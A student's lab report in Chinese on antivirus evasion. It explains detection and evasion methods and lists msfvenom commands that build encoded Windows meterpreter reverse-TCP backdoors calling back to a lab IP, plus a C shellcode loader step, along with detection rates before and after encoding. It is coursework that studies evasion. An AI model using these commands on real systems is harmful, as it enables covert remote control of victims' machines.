Exp3 免杀原理与实践 20154328 常城

Exp3 免杀原理与实践

一、基础问题回答

1.杀软是如何检测出恶意代码的?

恶意代码有其特有的特征码,杀软将特征码加入检测库中,当检测到一段代码中具有这样的特征码时就可以判断为恶意代码。
为了防止自身特征码被检测,有些恶意代码使用了免杀加壳软件进行加壳,一些流行的加壳软件已经可以检查出来,如果被这样的加壳软件加壳就可能是恶意代码。
判断该代码是否有恶意行为,若有就会判断代码是恶意代码。

2.免杀是做什么的?

通过各种手段免除计算机对恶意代码查杀即为免杀。

3.免杀的基本方法有哪些?

(1)通过改变自身特征码
加壳(可以选择比较新的、冷门的壳,流行的已经可以被大多数杀毒软件查杀)
进行异或、逆序或者其他手段改变自身特征码。
通过改变软件攻击的行为
(2)在看似正常的应用中插入恶意代码,当程序运行时看似正常,可以逃过查杀。
可以使用反弹端口技术,这样看上去就像是靶机在主动链接ip,大大减低被查杀的风险。
使用隧道技术。

二、离实战还缺些什么技术或步骤?

如何将我们制作的后门程序传到靶机上
如何让靶机运行这个看起来不知道有什么用途的程序…
如何保证自己的主机ip地址不变,随时随地都可以进行攻击

三、实践过程

  1. msfvenom直接生成meterpreter可执行文件
    . 直接将上周做实验时用msf生成的后门文件放在virscan.org中进行扫描,扫描结果如下:

从上图可以看出,许多杀软一针见血的指出了该程序为“木马类”程序
有20/39的杀毒软件发现有病毒
2. Msfvenom使用编码器生成meterpreter可执行文件

(1)一次编码:

使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.199.120 LPORT=4328 -f exe > fool4328.exe命令生成编码过的可执行文件fool4328.exe

我们发现被编码后的payload大小为360字节,上面直接生成的payload大小为333字节,但是最终文件的大小都是73802字节。
再次使用virscan.org检测

我们发现有19/39的杀毒软件发现有病毒,只有微小的变化,因为AV不是吃素的,AV的工作人员都有相关做恶意代码的经验,编码这种事情肯定难不倒他们。

(2)多次编码:

我们尝试使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.199.120 LPORT=4328 -f exe > fool4328-e8.exe命令将文件编码10次,得到如下结果:

将生成的文件放到网站上扫描一下:

可以发现无论编码多少次都是一样,所以想要利用编码次数来达到免杀效果显然是不行的。

3. Veil-Evasion免杀平台

4. C语言调用Shellcode

在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=4328 -f c
LHOST:攻击机IP
LPORT:反弹连接端口
c:生成一个c语言格式的Shellcode数组

创建一个C文件:changcheng.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并加入一个主函数:

放到网上检查一下:

将上面生成的数组copy到主机上,用vc编写一个C程序并编译,在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限:


放到网上检测一下:

实验总结

以前的时候觉得杀毒软件是万能的,只要打开了杀毒软件就没有问题了。到了现在才发现杀毒软件是有很大的局限性的,稍加伪装就会蒙混过关。
杀毒软件只能用于病毒的防范,但主要的是要靠我们自己平时规范上网,不要点那些来历不明的链接。
我们要及时更新病毒库,病毒日新月异,我们要及时更新,这样可以减少自己电脑的中毒几率。

posted @ 2018-04-08 00:11  20154328常城  阅读(136)  评论(0编辑  收藏  举报